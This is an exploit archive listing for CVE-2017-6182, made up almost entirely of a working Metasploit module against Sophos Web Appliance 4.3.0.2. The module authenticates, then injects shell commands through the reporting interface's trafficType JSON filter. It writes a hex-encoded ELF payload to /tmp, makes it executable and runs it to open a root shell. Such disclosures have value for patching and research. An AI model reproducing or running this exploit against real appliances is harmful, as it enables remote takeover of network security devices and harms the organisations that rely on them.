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Sophos Web Appliance 4.3.0.2 Remote Command Injection

Sophos Web Appliance 4.3.0.2 Remote Command Injection
Posted Jul 18, 2017
Authored by Russell Sanford

Sophos Web Appliance version 4.3.0.2 reporting JSON trafficType remote command injection exploit.

tags | exploit, remote, web
advisories | CVE-2017-6182
SHA-256 | b7c8712bb8d62608c24d118744810037b7c47dba41c89048cac2b15b57b84234

Sophos Web Appliance 4.3.0.2 Remote Command Injection

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# Exploit Title: Sophos Web Appliance reporting JSON trafficType Remote Command Injection Vulnerablity 
# Date: 01/28/2017
# Exploit Author: xort @ Critical Start
# Vendor Homepage: www.sophos.com
# Software Link: sophos.com/en-us/products/secure-web-gateway.aspx
# Version: 4.3.0.2
# Tested on: 4.3.0.2
#
# CVE : (awaiting cve)

# vuln: report command / trafficType JSON parameter / ???.php exploit

# Description PostAuth Sophos Web App FW <= v4.3.0.2 for capablities. This exploit leverages a command injection bug.
#
# xort @ Critical Start

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Sophos Web Appliace <= v4.3.0.2 JSON reporting remote exploit',
'Description' => %q{
This module exploits a remote command execution vulnerability in
the Sophos Web Appliace Version <= v4.3.0.2. The vulnerability exist in
a section of the machine's reporting inferaface that accepts unsanitized
unser supplied information within a JSON query.
},
'Author' =>
[
'xort@Critical Start', # vuln + metasploit module
],
'Version' => '$Revision: 1 $',
'References' =>
[
[ 'none', 'none'],
],
'Platform' => [ 'linux'],
'Privileged' => true,
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell' ],
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => 'find',
}
},

'Targets' =>
[
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 0))

register_options(
[
OptString.new('PASSWORD', [ false, 'Device password', "" ]),
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(443),
], self.class)
end

def do_login(username, password_clear)
vprint_status( "Logging into machine with credentials...\n" )

# vars
timeout = 1550;
style_key = Rex::Text.rand_text_hex(32)

# send request
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/index.php",
'vars_get' => {
'c' => 'login',
},
'vars_post' =>
{

'STYLE' => style_key,
'destination' => '',
'section' => '',
'username' => username,
'password' => password_clear
},
'headers' => {
'Connection' => 'close',
}

}, timeout)

return style_key
end

def run_command(username, style_password, cmd)

vprint_status( "Running Command...\n" )

# send request with payload
res = send_request_cgi({
'method' => 'POST',
'uri' => "/index.php",
'vars_post' => {
'chart' => 'pie',
'period' => 'custom',
'multiplier' => '1',
'metric' => '',
'token' => '0.3156784180233425',
'start' => '1/27/2017',
'end' => '1/27/2017',
'filters' => '{"topn": "25", "trafficType": "out|'+cmd+'&", "department": "sophos_swa_all_departments"}',
'pdf' => '1',
'test' => '',
'STYLE' => style_password ,
},
'vars_get' => {
'c' => 'report',
'name' => 'traf_users',
'STYLE' => style_password ,
},
})

end


def exploit
# timeout
timeout = 1550;

# params
password_clear = datastore['PASSWORD']
user = datastore['USERNAME']

# do authentication
style_hash = do_login(user, password_clear)

vprint_status("STATUS hash authenticated: #{style_hash}\n")

# pause to let things run smoothly
sleep(2)

#if no 'CMD' string - add code for root shell
if not datastore['CMD'].nil? and not datastore['CMD'].empty?

cmd = datastore['CMD']

# Encode cmd payload

encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\\\\\\\\x\1\2')

# upload elf to /tmp/n , chmod +rx /tmp/n , then run /tmp/n (payload)
run_command(user, style_hash, ("echo -e #{encoded_cmd}>/tmp/n;chmod +rx /tmp/n;/tmp/n" ))
else
# Encode payload to ELF file for deployment
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\\\\\\\\x\1\2')

# upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
run_command(user, style_hash, ("(echo -e #{encoded_elf}>/tmp/m;chmod +rx /tmp/m;/tmp/m)"))

# wait for magic
handler

end


end
end

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